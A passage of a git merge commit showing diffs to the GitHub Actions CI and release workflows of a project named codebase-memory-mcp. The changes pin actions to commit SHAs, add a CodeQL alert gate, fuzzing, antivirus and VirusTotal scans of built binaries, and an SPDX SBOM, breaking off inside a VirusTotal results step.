Merge branch 'main' into fix/libgit2-diff-options-init

This commit is contained in:
Martin Vogel
2026-03-23 13:30:46 +01:00
52 changed files with 3702 additions and 857 deletions
+6
View File
@@ -0,0 +1,6 @@
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
+32
View File
@@ -0,0 +1,32 @@
name: CodeQL SAST
on:
push:
branches: [main]
permissions:
security-events: write
contents: read
jobs:
analyze:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- name: Install build dependencies
run: sudo apt-get update && sudo apt-get install -y zlib1g-dev
- name: Initialize CodeQL
uses: github/codeql-action/init@38697555549f1db7851b81482ff19f1fa5c4fedc # v4
with:
languages: c-cpp
build-mode: manual
- name: Build for CodeQL analysis
run: scripts/build.sh
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@38697555549f1db7851b81482ff19f1fa5c4fedc # v4
with:
category: "/language:c-cpp"
+142 -22
View File
@@ -25,7 +25,7 @@ jobs:
if: ${{ !inputs.skip_lint }}
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- name: Install build deps
run: sudo apt-get update && sudo apt-get install -y zlib1g-dev cmake
@@ -37,7 +37,7 @@ jobs:
sudo apt-get update
sudo apt-get install -y clang-format-20
- uses: actions/cache@v4
- uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4
id: cppcheck-cache
with:
path: /opt/cppcheck
@@ -64,7 +64,7 @@ jobs:
if: ${{ !inputs.skip_lint }}
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- name: "Layer 1: Static allow-list audit"
run: scripts/security-audit.sh
@@ -75,6 +75,79 @@ jobs:
- name: "Layer 8: Vendored dependency integrity"
run: scripts/security-vendored.sh
# ── Step 1c: CodeQL SAST gate ────────────────────────────────
codeql-gate:
if: ${{ !inputs.skip_lint }}
runs-on: ubuntu-latest
steps:
- name: Wait for CodeQL on current commit (max 45 min)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
CURRENT_SHA="${{ github.sha }}"
echo "Current commit: $CURRENT_SHA"
echo "Waiting for CodeQL to complete on this commit..."
for attempt in $(seq 1 90); do
LATEST=$(gh api repos/${{ github.repository }}/actions/workflows/codeql.yml/runs?per_page=5 \
--jq '.workflow_runs[] | select(.head_sha == "'"$CURRENT_SHA"'") | "\(.conclusion) \(.status)"' 2>/dev/null | head -1 || echo "")
if [ -z "$LATEST" ]; then
echo " Attempt $attempt/90: No CodeQL run found for $CURRENT_SHA yet..."
sleep 30
continue
fi
CONCLUSION=$(echo "$LATEST" | cut -d' ' -f1)
STATUS=$(echo "$LATEST" | cut -d' ' -f2)
if [ "$STATUS" = "completed" ] && [ "$CONCLUSION" = "success" ]; then
echo "=== CodeQL completed successfully on current commit ==="
exit 0
elif [ "$STATUS" = "completed" ]; then
echo "BLOCKED: CodeQL completed with conclusion: $CONCLUSION"
exit 1
fi
echo " Attempt $attempt/90: CodeQL status=$STATUS (waiting 30s)..."
sleep 30
done
echo "BLOCKED: CodeQL did not complete within 45 minutes"
exit 1
- name: Check for open code scanning alerts
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
# Wait for GitHub to finish processing alert state changes.
# There is a race between CodeQL marking the workflow as "completed"
# and the alerts API reflecting new/closed alerts from that scan.
echo "Waiting 60s for alert API to settle after CodeQL completion..."
sleep 60
# Poll alerts twice with a gap to confirm the count is stable
ALERTS1=$(gh api 'repos/${{ github.repository }}/code-scanning/alerts?state=open' --jq 'length' 2>/dev/null || echo "0")
echo "Open alerts (check 1): $ALERTS1"
sleep 15
ALERTS2=$(gh api 'repos/${{ github.repository }}/code-scanning/alerts?state=open' --jq 'length' 2>/dev/null || echo "0")
echo "Open alerts (check 2): $ALERTS2"
# Use the higher count (conservative — if either check sees alerts, block)
ALERTS=$ALERTS2
if [ "$ALERTS1" -gt "$ALERTS2" ]; then
ALERTS=$ALERTS1
fi
if [ "$ALERTS" -gt 0 ]; then
echo "BLOCKED: $ALERTS open code scanning alert(s) found."
gh api 'repos/${{ github.repository }}/code-scanning/alerts?state=open' \
--jq '.[] | " #\(.number) [\(.rule.security_severity_level // .rule.severity)] \(.rule.id) — \(.most_recent_instance.location.path):\(.most_recent_instance.location.start_line)"' 2>/dev/null || true
echo "Fix them: https://github.com/${{ github.repository }}/security/code-scanning"
exit 1
fi
echo "=== CodeQL gate passed (0 open alerts) ==="
# ── Step 2: Unit tests (ASan + UBSan) ───────────────────────
# macOS: use cc (Apple Clang) — GCC on macOS doesn't ship ASan runtime
# Linux: use system gcc — full ASan/UBSan support
@@ -104,7 +177,7 @@ jobs:
cxx: c++
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- name: Install deps (Ubuntu)
if: startsWith(matrix.os, 'ubuntu')
@@ -118,9 +191,9 @@ jobs:
needs: [lint]
runs-on: windows-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- uses: msys2/setup-msys2@v2
- uses: msys2/setup-msys2@4f806de0a5a7294ffabaff804b38a9b435a73bda # v2
with:
msystem: CLANG64
path-type: inherit
@@ -163,13 +236,13 @@ jobs:
cxx: c++
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- name: Install deps (Ubuntu)
if: startsWith(matrix.os, 'ubuntu')
run: sudo apt-get update && sudo apt-get install -y zlib1g-dev
- uses: actions/setup-node@v4
- uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0
with:
node-version: "22"
@@ -178,8 +251,9 @@ jobs:
- name: Archive standard binary
run: |
cp LICENSE build/c/
tar -czf codebase-memory-mcp-${{ matrix.goos }}-${{ matrix.goarch }}.tar.gz \
-C build/c codebase-memory-mcp
-C build/c codebase-memory-mcp LICENSE
- name: Build UI binary
run: scripts/build.sh --with-ui CC=${{ matrix.cc }} CXX=${{ matrix.cxx }}
@@ -190,10 +264,11 @@ jobs:
- name: Archive UI binary
run: |
cp LICENSE build/c/
tar -czf codebase-memory-mcp-ui-${{ matrix.goos }}-${{ matrix.goarch }}.tar.gz \
-C build/c codebase-memory-mcp
-C build/c codebase-memory-mcp LICENSE
- uses: actions/upload-artifact@v4
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: binaries-${{ matrix.goos }}-${{ matrix.goarch }}
path: "*.tar.gz"
@@ -203,9 +278,9 @@ jobs:
needs: [test-unix, test-windows]
runs-on: windows-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- uses: msys2/setup-msys2@v2
- uses: msys2/setup-msys2@4f806de0a5a7294ffabaff804b38a9b435a73bda # v2
with:
msystem: CLANG64
path-type: inherit
@@ -215,7 +290,7 @@ jobs:
make
zip
- uses: actions/setup-node@v4
- uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0
with:
node-version: "22"
@@ -229,7 +304,7 @@ jobs:
BIN=build/c/codebase-memory-mcp
[ -f "${BIN}.exe" ] && BIN="${BIN}.exe"
cp "$BIN" codebase-memory-mcp.exe
zip codebase-memory-mcp-windows-amd64.zip codebase-memory-mcp.exe
zip codebase-memory-mcp-windows-amd64.zip codebase-memory-mcp.exe LICENSE
- name: Build UI binary
shell: msys2 {0}
@@ -241,9 +316,9 @@ jobs:
BIN=build/c/codebase-memory-mcp
[ -f "${BIN}.exe" ] && BIN="${BIN}.exe"
cp "$BIN" codebase-memory-mcp-ui.exe
zip codebase-memory-mcp-ui-windows-amd64.zip codebase-memory-mcp-ui.exe
zip codebase-memory-mcp-ui-windows-amd64.zip codebase-memory-mcp-ui.exe LICENSE
- uses: actions/upload-artifact@v4
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: binaries-windows-amd64
path: "*.zip"
@@ -271,9 +346,9 @@ jobs:
variant: [standard, ui]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- uses: actions/download-artifact@v4
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4
with:
name: binaries-${{ matrix.goos }}-${{ matrix.goarch }}
@@ -302,6 +377,37 @@ jobs:
if: matrix.variant == 'standard' && matrix.goos == 'linux' && matrix.goarch == 'amd64'
run: scripts/security-fuzz.sh ./codebase-memory-mcp
- name: Fuzz testing (60s random input)
if: matrix.variant == 'standard' && matrix.goos == 'linux' && matrix.goarch == 'amd64'
run: scripts/security-fuzz-random.sh ./codebase-memory-mcp 60
- name: ClamAV scan (Linux)
if: matrix.variant == 'standard' && startsWith(matrix.os, 'ubuntu')
run: |
sudo apt-get update -qq && sudo apt-get install -y -qq clamav > /dev/null 2>&1
sudo sed -i 's/^Example/#Example/' /etc/clamav/freshclam.conf 2>/dev/null || true
grep -q "DatabaseMirror" /etc/clamav/freshclam.conf 2>/dev/null || \
echo "DatabaseMirror database.clamav.net" | sudo tee -a /etc/clamav/freshclam.conf > /dev/null
sudo freshclam --quiet
echo "=== ClamAV scan ==="
clamscan --no-summary ./codebase-memory-mcp
echo "=== ClamAV: clean ==="
- name: ClamAV scan (macOS)
if: matrix.variant == 'standard' && startsWith(matrix.os, 'macos')
run: |
brew install clamav > /dev/null 2>&1
CLAMAV_ETC=$(brew --prefix)/etc/clamav
if [ ! -f "$CLAMAV_ETC/freshclam.conf" ]; then
cp "$CLAMAV_ETC/freshclam.conf.sample" "$CLAMAV_ETC/freshclam.conf" 2>/dev/null || true
sed -i '' 's/^Example/#Example/' "$CLAMAV_ETC/freshclam.conf" 2>/dev/null || true
echo "DatabaseMirror database.clamav.net" >> "$CLAMAV_ETC/freshclam.conf"
fi
freshclam --quiet --no-warnings 2>/dev/null || freshclam --quiet 2>/dev/null || echo "WARNING: freshclam update failed, using bundled signatures"
echo "=== ClamAV scan (macOS) ==="
clamscan --no-summary ./codebase-memory-mcp
echo "=== ClamAV: clean ==="
smoke-windows:
if: ${{ !inputs.skip_builds }}
needs: [build-windows]
@@ -311,9 +417,9 @@ jobs:
variant: [standard, ui]
runs-on: windows-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- uses: msys2/setup-msys2@v2
- uses: msys2/setup-msys2@4f806de0a5a7294ffabaff804b38a9b435a73bda # v2
with:
msystem: CLANG64
path-type: inherit
@@ -321,7 +427,7 @@ jobs:
mingw-w64-clang-x86_64-python3
unzip
- uses: actions/download-artifact@v4
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4
with:
name: binaries-windows-amd64
@@ -345,3 +451,17 @@ jobs:
if: matrix.variant == 'standard'
shell: msys2 {0}
run: scripts/security-install.sh ./codebase-memory-mcp.exe
- name: Windows Defender scan
if: matrix.variant == 'standard'
shell: pwsh
run: |
Write-Host "=== Windows Defender scan (with ML heuristics) ==="
& "C:\Program Files\Windows Defender\MpCmdRun.exe" -SignatureUpdate 2>$null
$result = & "C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File "$PWD\codebase-memory-mcp.exe" -DisableRemediation
Write-Host $result
if ($LASTEXITCODE -ne 0) {
Write-Host "BLOCKED: Windows Defender flagged the binary!"
exit 1
}
Write-Host "=== Windows Defender: clean ==="
+282 -129
View File
@@ -27,7 +27,7 @@ jobs:
lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- name: Install build deps
run: sudo apt-get update && sudo apt-get install -y zlib1g-dev cmake
@@ -39,7 +39,7 @@ jobs:
sudo apt-get update
sudo apt-get install -y clang-format-20
- uses: actions/cache@v4
- uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4
id: cppcheck-cache
with:
path: /opt/cppcheck
@@ -65,7 +65,7 @@ jobs:
security-static:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- name: "Layer 1: Static allow-list audit"
run: scripts/security-audit.sh
@@ -76,6 +76,80 @@ jobs:
- name: "Layer 8: Vendored dependency integrity"
run: scripts/security-vendored.sh
# ── Step 1c: CodeQL SAST gate ────────────────────────────────
# Verifies CodeQL has run on the current commit AND has 0 open alerts.
# Prevents false green from stale/missing scans.
codeql-gate:
runs-on: ubuntu-latest
steps:
- name: Wait for CodeQL on current commit (max 45 min)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
CURRENT_SHA="${{ github.sha }}"
echo "Current commit: $CURRENT_SHA"
echo "Waiting for CodeQL to complete on this commit..."
for attempt in $(seq 1 90); do
LATEST=$(gh api repos/${{ github.repository }}/actions/workflows/codeql.yml/runs?per_page=5 \
--jq '.workflow_runs[] | select(.head_sha == "'"$CURRENT_SHA"'") | "\(.conclusion) \(.status)"' 2>/dev/null | head -1 || echo "")
if [ -z "$LATEST" ]; then
echo " Attempt $attempt/90: No CodeQL run found for $CURRENT_SHA yet..."
sleep 30
continue
fi
CONCLUSION=$(echo "$LATEST" | cut -d' ' -f1)
STATUS=$(echo "$LATEST" | cut -d' ' -f2)
if [ "$STATUS" = "completed" ] && [ "$CONCLUSION" = "success" ]; then
echo "=== CodeQL completed successfully on current commit ==="
exit 0
elif [ "$STATUS" = "completed" ]; then
echo "BLOCKED: CodeQL completed with conclusion: $CONCLUSION"
exit 1
fi
echo " Attempt $attempt/90: CodeQL status=$STATUS (waiting 30s)..."
sleep 30
done
echo "BLOCKED: CodeQL did not complete within 45 minutes"
exit 1
- name: Check for open code scanning alerts
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
# Wait for GitHub to finish processing alert state changes.
# There is a race between CodeQL marking the workflow as "completed"
# and the alerts API reflecting new/closed alerts from that scan.
echo "Waiting 60s for alert API to settle after CodeQL completion..."
sleep 60
# Poll alerts twice with a gap to confirm the count is stable
ALERTS1=$(gh api 'repos/${{ github.repository }}/code-scanning/alerts?state=open' --jq 'length' 2>/dev/null || echo "0")
echo "Open alerts (check 1): $ALERTS1"
sleep 15
ALERTS2=$(gh api 'repos/${{ github.repository }}/code-scanning/alerts?state=open' --jq 'length' 2>/dev/null || echo "0")
echo "Open alerts (check 2): $ALERTS2"
# Use the higher count (conservative — if either check sees alerts, block)
ALERTS=$ALERTS2
if [ "$ALERTS1" -gt "$ALERTS2" ]; then
ALERTS=$ALERTS1
fi
if [ "$ALERTS" -gt 0 ]; then
echo "BLOCKED: $ALERTS open code scanning alert(s) found."
gh api 'repos/${{ github.repository }}/code-scanning/alerts?state=open' \
--jq '.[] | " #\(.number) [\(.rule.security_severity_level // .rule.severity)] \(.rule.id) — \(.most_recent_instance.location.path):\(.most_recent_instance.location.start_line)"' 2>/dev/null || true
echo "Fix them: https://github.com/${{ github.repository }}/security/code-scanning"
exit 1
fi
echo "=== CodeQL gate passed (0 open alerts on current commit) ==="
# ── Step 2: Unit tests (ASan + UBSan) ───────────────────────
# macOS: use cc (Apple Clang) — GCC on macOS doesn't ship ASan runtime
# Linux: use system gcc — full ASan/UBSan support
@@ -104,7 +178,7 @@ jobs:
cxx: c++
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- name: Install deps (Ubuntu)
if: startsWith(matrix.os, 'ubuntu')
@@ -117,9 +191,9 @@ jobs:
needs: [lint]
runs-on: windows-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- uses: msys2/setup-msys2@v2
- uses: msys2/setup-msys2@4f806de0a5a7294ffabaff804b38a9b435a73bda # v2
with:
msystem: CLANG64
path-type: inherit
@@ -161,13 +235,13 @@ jobs:
cxx: c++
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- name: Install deps (Ubuntu)
if: startsWith(matrix.os, 'ubuntu')
run: sudo apt-get update && sudo apt-get install -y zlib1g-dev
- uses: actions/setup-node@v4
- uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0
with:
node-version: "22"
@@ -176,8 +250,9 @@ jobs:
- name: Archive standard binary
run: |
cp LICENSE build/c/
tar -czf codebase-memory-mcp-${{ matrix.goos }}-${{ matrix.goarch }}.tar.gz \
-C build/c codebase-memory-mcp
-C build/c codebase-memory-mcp LICENSE
- name: Build UI binary
run: scripts/build.sh --with-ui --version ${{ inputs.version }} CC=${{ matrix.cc }} CXX=${{ matrix.cxx }}
@@ -188,10 +263,11 @@ jobs:
- name: Archive UI binary
run: |
cp LICENSE build/c/
tar -czf codebase-memory-mcp-ui-${{ matrix.goos }}-${{ matrix.goarch }}.tar.gz \
-C build/c codebase-memory-mcp
-C build/c codebase-memory-mcp LICENSE
- uses: actions/upload-artifact@v4
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: binaries-${{ matrix.goos }}-${{ matrix.goarch }}
path: "*.tar.gz"
@@ -200,9 +276,9 @@ jobs:
needs: [test-unix, test-windows]
runs-on: windows-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- uses: msys2/setup-msys2@v2
- uses: msys2/setup-msys2@4f806de0a5a7294ffabaff804b38a9b435a73bda # v2
with:
msystem: CLANG64
path-type: inherit
@@ -212,7 +288,7 @@ jobs:
make
zip
- uses: actions/setup-node@v4
- uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0
with:
node-version: "22"
@@ -226,7 +302,7 @@ jobs:
BIN=build/c/codebase-memory-mcp
[ -f "${BIN}.exe" ] && BIN="${BIN}.exe"
cp "$BIN" codebase-memory-mcp.exe
zip codebase-memory-mcp-windows-amd64.zip codebase-memory-mcp.exe
zip codebase-memory-mcp-windows-amd64.zip codebase-memory-mcp.exe LICENSE
- name: Build UI binary
shell: msys2 {0}
@@ -238,9 +314,9 @@ jobs:
BIN=build/c/codebase-memory-mcp
[ -f "${BIN}.exe" ] && BIN="${BIN}.exe"
cp "$BIN" codebase-memory-mcp-ui.exe
zip codebase-memory-mcp-ui-windows-amd64.zip codebase-memory-mcp-ui.exe
zip codebase-memory-mcp-ui-windows-amd64.zip codebase-memory-mcp-ui.exe LICENSE
- uses: actions/upload-artifact@v4
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: binaries-windows-amd64
path: "*.zip"
@@ -266,9 +342,9 @@ jobs:
variant: [standard, ui]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- uses: actions/download-artifact@v4
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4
with:
name: binaries-${{ matrix.goos }}-${{ matrix.goarch }}
@@ -297,6 +373,40 @@ jobs:
if: matrix.variant == 'standard' && matrix.goos == 'linux' && matrix.goarch == 'amd64'
run: scripts/security-fuzz.sh ./codebase-memory-mcp
- name: Fuzz testing (60s random input)
if: matrix.variant == 'standard' && matrix.goos == 'linux' && matrix.goarch == 'amd64'
run: scripts/security-fuzz-random.sh ./codebase-memory-mcp 60
# Native platform antivirus scan
- name: ClamAV scan (Linux)
if: matrix.variant == 'standard' && startsWith(matrix.os, 'ubuntu')
run: |
sudo apt-get update -qq && sudo apt-get install -y -qq clamav > /dev/null 2>&1
# Ensure freshclam config has DatabaseMirror set
sudo sed -i 's/^Example/#Example/' /etc/clamav/freshclam.conf 2>/dev/null || true
grep -q "DatabaseMirror" /etc/clamav/freshclam.conf 2>/dev/null || \
echo "DatabaseMirror database.clamav.net" | sudo tee -a /etc/clamav/freshclam.conf > /dev/null
sudo freshclam --quiet
echo "=== ClamAV scan ==="
clamscan --no-summary ./codebase-memory-mcp
echo "=== ClamAV: clean ==="
- name: ClamAV scan (macOS)
if: matrix.variant == 'standard' && startsWith(matrix.os, 'macos')
run: |
brew install clamav > /dev/null 2>&1
CLAMAV_ETC=$(brew --prefix)/etc/clamav
if [ ! -f "$CLAMAV_ETC/freshclam.conf" ]; then
cp "$CLAMAV_ETC/freshclam.conf.sample" "$CLAMAV_ETC/freshclam.conf" 2>/dev/null || true
sed -i '' 's/^Example/#Example/' "$CLAMAV_ETC/freshclam.conf" 2>/dev/null || true
echo "DatabaseMirror database.clamav.net" >> "$CLAMAV_ETC/freshclam.conf"
fi
# Download signatures (--no-warnings suppresses X509 store errors on macOS)
freshclam --quiet --no-warnings 2>/dev/null || freshclam --quiet 2>/dev/null || echo "WARNING: freshclam update failed, using bundled signatures"
echo "=== ClamAV scan (macOS) ==="
clamscan --no-summary ./codebase-memory-mcp
echo "=== ClamAV: clean ==="
smoke-windows:
needs: [build-windows]
strategy:
@@ -304,9 +414,9 @@ jobs:
variant: [standard, ui]
runs-on: windows-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- uses: msys2/setup-msys2@v2
- uses: msys2/setup-msys2@4f806de0a5a7294ffabaff804b38a9b435a73bda # v2
with:
msystem: CLANG64
path-type: inherit
@@ -314,7 +424,7 @@ jobs:
mingw-w64-clang-x86_64-python3
unzip
- uses: actions/download-artifact@v4
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4
with:
name: binaries-windows-amd64
@@ -339,18 +449,36 @@ jobs:
shell: msys2 {0}
run: scripts/security-install.sh ./codebase-memory-mcp.exe
# Windows Defender scan (includes ML heuristics — catches what VirusTotal misses)
- name: Windows Defender scan
if: matrix.variant == 'standard'
shell: pwsh
run: |
Write-Host "=== Windows Defender scan (with ML heuristics) ==="
# Update definitions first
& "C:\Program Files\Windows Defender\MpCmdRun.exe" -SignatureUpdate 2>$null
# Full scan of the binary
$result = & "C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File "$PWD\codebase-memory-mcp.exe" -DisableRemediation
Write-Host $result
if ($LASTEXITCODE -ne 0) {
Write-Host "BLOCKED: Windows Defender flagged the binary!"
Write-Host "Exit code: $LASTEXITCODE"
exit 1
}
Write-Host "=== Windows Defender: clean ==="
# ── Step 5: Create DRAFT release (not public yet) ─────────────
release-draft:
needs: [smoke-unix, smoke-windows, security-static]
needs: [smoke-unix, smoke-windows, security-static, codeql-gate]
runs-on: ubuntu-latest
permissions:
contents: write
id-token: write
attestations: write
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- uses: actions/download-artifact@v4
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4
with:
merge-multiple: true
@@ -362,56 +490,57 @@ jobs:
# ── Artifact attestations (SLSA provenance) ──────────────
- name: Attest build provenance (tar.gz)
uses: actions/attest-build-provenance@v2
uses: actions/attest-build-provenance@e8998f949152b193b063cb0ec769d69d929409be # v2
with:
subject-path: '*.tar.gz'
- name: Attest build provenance (zip)
uses: actions/attest-build-provenance@v2
uses: actions/attest-build-provenance@e8998f949152b193b063cb0ec769d69d929409be # v2
with:
subject-path: '*.zip'
- name: Attest build provenance (checksums)
uses: actions/attest-build-provenance@v2
uses: actions/attest-build-provenance@e8998f949152b193b063cb0ec769d69d929409be # v2
with:
subject-path: 'checksums.txt'
# ── SBOM generation ──────────────────────────────────────
# ── SBOM generation (SPDX format) ──────────────────────────
- name: Generate SBOM
run: |
cat > sbom.json << 'SBOMEOF'
{
"bomFormat": "CycloneDX",
"specVersion": "1.4",
"version": 1,
"metadata": {
"component": {
"type": "application",
"name": "codebase-memory-mcp",
"version": "${{ inputs.version }}"
}
python3 -c "
import json, uuid
sbom = {
'spdxVersion': 'SPDX-2.3',
'dataLicense': 'CC0-1.0',
'SPDXID': 'SPDXRef-DOCUMENT',
'name': 'codebase-memory-mcp-${{ inputs.version }}',
'documentNamespace': 'https://github.com/DeusData/codebase-memory-mcp/releases/${{ inputs.version }}',
'creationInfo': {
'created': '$(date -u +%Y-%m-%dT%H:%M:%SZ)',
'creators': ['Tool: codebase-memory-mcp-release-pipeline']
},
"components": [
{"type": "library", "name": "sqlite3", "version": "3.49.1", "description": "Vendored SQLite amalgamation"},
{"type": "library", "name": "yyjson", "version": "0.10.0", "description": "Fast JSON parser"},
{"type": "library", "name": "mongoose", "version": "7.16", "description": "Embedded HTTP server"},
{"type": "library", "name": "mimalloc", "version": "2.1.7", "description": "Memory allocator"},
{"type": "library", "name": "xxhash", "version": "0.8.2", "description": "Fast hash function"},
{"type": "library", "name": "tre", "version": "0.8.0", "description": "POSIX regex (Windows)"},
{"type": "library", "name": "tree-sitter", "version": "0.24.4", "description": "AST parser runtime (64 grammars)"}
'packages': [
{'SPDXID': 'SPDXRef-Package-sqlite3', 'name': 'sqlite3', 'versionInfo': '3.49.1', 'downloadLocation': 'https://sqlite.org', 'filesAnalyzed': False},
{'SPDXID': 'SPDXRef-Package-yyjson', 'name': 'yyjson', 'versionInfo': '0.10.0', 'downloadLocation': 'https://github.com/ibireme/yyjson', 'filesAnalyzed': False},
{'SPDXID': 'SPDXRef-Package-mongoose', 'name': 'mongoose', 'versionInfo': '7.16', 'downloadLocation': 'https://github.com/cesanta/mongoose', 'filesAnalyzed': False},
{'SPDXID': 'SPDXRef-Package-mimalloc', 'name': 'mimalloc', 'versionInfo': '2.1.7', 'downloadLocation': 'https://github.com/microsoft/mimalloc', 'filesAnalyzed': False},
{'SPDXID': 'SPDXRef-Package-xxhash', 'name': 'xxhash', 'versionInfo': '0.8.2', 'downloadLocation': 'https://github.com/Cyan4973/xxHash', 'filesAnalyzed': False},
{'SPDXID': 'SPDXRef-Package-tre', 'name': 'tre', 'versionInfo': '0.8.0', 'downloadLocation': 'https://github.com/laurikari/tre', 'filesAnalyzed': False},
{'SPDXID': 'SPDXRef-Package-tree-sitter', 'name': 'tree-sitter', 'versionInfo': '0.24.4', 'downloadLocation': 'https://github.com/tree-sitter/tree-sitter', 'filesAnalyzed': False}
]
}
SBOMEOF
json.dump(sbom, open('sbom.json', 'w'), indent=2)
"
- name: Attest SBOM
uses: actions/attest-sbom@v2
uses: actions/attest-sbom@10926c72720ffc3f7b666661c8e55b1344e2a365 # v2
with:
subject-path: '*.tar.gz'
sbom-path: 'sbom.json'
# ── Sigstore cosign signing ──────────────────────────────
- name: Install cosign
uses: sigstore/cosign-installer@v3
uses: sigstore/cosign-installer@398d4b0eeef1380460a10c8013a76f728fb906ac # v3
- name: Sign release artifacts with cosign
run: |
@@ -434,7 +563,7 @@ jobs:
git tag -f "$VERSION"
git push origin "$VERSION" --force
- uses: softprops/action-gh-release@v2
- uses: softprops/action-gh-release@153bb8e04406b158c6c84fc1615b65b24149a1fe # v2
with:
tag_name: ${{ inputs.version }}
draft: true
@@ -456,149 +585,169 @@ jobs:
runs-on: ubuntu-latest
permissions:
contents: write
security-events: write
id-token: write
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
with:
persist-credentials: false
# ── VirusTotal scan ──────────────────────────────────────
- name: Download draft release binaries
# Extract raw binaries from archives before scanning.
# VirusTotal may not unpack archives >3MB, so we scan the
# actual executables that users will run.
- name: Download and extract release binaries
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
VERSION: ${{ inputs.version }}
run: |
mkdir -p assets
mkdir -p assets binaries
gh release download "$VERSION" --dir assets --repo "$GITHUB_REPOSITORY" --pattern '*.tar.gz' --pattern '*.zip'
ls -la assets/
- name: Scan all binaries with VirusTotal
uses: crazy-max/ghaction-virustotal@v4
# Extract binaries from archives for scanning
for f in assets/*.tar.gz; do
NAME=$(basename "$f" .tar.gz)
tar -xzf "$f" -C binaries/ 2>/dev/null || true
# Rename to include platform for identification
if [ -f binaries/codebase-memory-mcp ]; then
mv binaries/codebase-memory-mcp "binaries/${NAME}"
fi
done
for f in assets/*.zip; do
NAME=$(basename "$f" .zip)
unzip -o "$f" -d binaries/ 2>/dev/null || true
if [ -f binaries/codebase-memory-mcp.exe ]; then
mv binaries/codebase-memory-mcp.exe "binaries/${NAME}.exe"
fi
done
echo "=== Extracted binaries for scanning ==="
ls -la binaries/
- name: Scan extracted binaries with VirusTotal
uses: crazy-max/ghaction-virustotal@936d8c5c00afe97d3d9a1af26d017cfdf26800a2 # v5.0.0
id: virustotal
with:
vt_api_key: ${{ secrets.VIRUS_TOTAL_SCANNER_API_KEY }}
files: |
assets/*.tar.gz
assets/*.zip
binaries/*
# ── Wait for VirusTotal results and check for detections ──
# ── Wait for ALL VirusTotal engines to complete, then check ──
# The action outputs comma-separated "file=URL" pairs.
# URLs are https://www.virustotal.com/gui/file/<sha256> permalinks.
# We extract the SHA256, query the API for scan stats, and gate on detections.
- name: Check VirusTotal scan results
# URLs are /gui/file-analysis/<base64_id>/detection — we extract the
# base64 analysis ID and poll /api/v3/analyses/<id> until completed.
- name: Check VirusTotal scan results (wait for 100% completion)
env:
